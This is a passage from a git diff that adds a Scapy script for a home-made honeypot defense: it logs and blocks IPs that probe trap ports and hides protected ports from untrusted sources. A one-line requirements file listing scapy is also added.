Green + ) + else: + # Track attempts for unknown IPs + attempts = track_attempt(source_ip) + log_message( + f"[!] HONEYPOT ACCESS from {source_ip}:{dest_port}\n" + f"[-] Status: UNKNOWN IP - POTENTIAL ATTACKER\n" + f"[!] Strike {attempts}/{MAX_ATTEMPTS}", + "93" # Yellow + ) + + # Block after max attempts + if attempts >= MAX_ATTEMPTS: + block_ip(source_ip) + return + + # ===== PROTECTED PORTS (only allowed IPs) ===== + if dest_port in PROTECTED_PORTS: + if is_allowed_ip(source_ip): + # Respond with SYN-ACK for allowed IPs + response = create_response(packet, "SA") + sendp(response, verbose=False) + log_message(f"[!] Protected port {dest_port} accessed by TRUSTED IP {source_ip}", "92") + else: + # Drop packet silently for unknown IPs (appears filtered) + log_message(f"[!] Protected port {dest_port} hidden from {source_ip}", "93") + return + + # ===== OTHER PORTS (default behavior - drop silently) ===== + # Unknown ports are silently dropped (appear filtered) + + +# ==================== STARTUP & MAIN ==================== + +def print_banner(): + """Display startup information""" + print("\n" + "="*60) + print("[+] HONEYPOT DEFENSE SYSTEM ACTIVE") + print("="*60) + print(f"Defending IP: {DEFENDER_IP}") + print(f"Public Ports (open to all): {PUBLIC_PORTS}") + print(f"Honeypot Ports (trap): {HONEYPOT_PORTS}") + print(f"Protected Ports (allowed IPs only): {PROTECTED_PORTS}") + print(f"Allowed IPs: {ALLOWED_IPS}") + print(f"Block Threshold: {MAX_ATTEMPTS} attempts") + print(f"Log File: {LOG_FILE}") + print("="*60) + print("Monitoring traffic... Press Ctrl+C to stop\n") + + +def print_summary(): + """Display statistics on exit""" + print("\n" + "="*60) + print("[+] SESSION SUMMARY") + print("="*60) + print(f"Total scans detected: {total_scans}") + print(f"IPs blocked: {total_blocks}") + print(f"Current blocklist: {blocked_ips if blocked_ips else 'None'}") + print("="*60 + "\n") + + +def main(): + """Main execution""" + print_banner() + + # Create BPF filter + packet_filter = f"dst host {DEFENDER_IP} and tcp" + + try: + # Start sniffing + sniff(filter=packet_filter, prn=handle_packet, store=False) + except KeyboardInterrupt: + print("\n\n[!] Stopping honeypot defense...") + print_summary() + sys.exit(0) + + +if __name__ == "__main__": + # Check for root privileges + if os.geteuid() != 0: + print("[!] This script requires root privileges. Run with: sudo python3 honeypot_defender.py") + sys.exit(1) + + main() diff --git a/scapy/honeypot-defense-system/requirements.txt b/scapy/honeypot-defense-system/requirements.txt new file mode 100644 index 00000000..93b351f4 --- /dev/null +++ b/scapy/honeypot-defense-system/requirements.txt @@ -0,0 +1 @@ +scapy \ No newline at end of file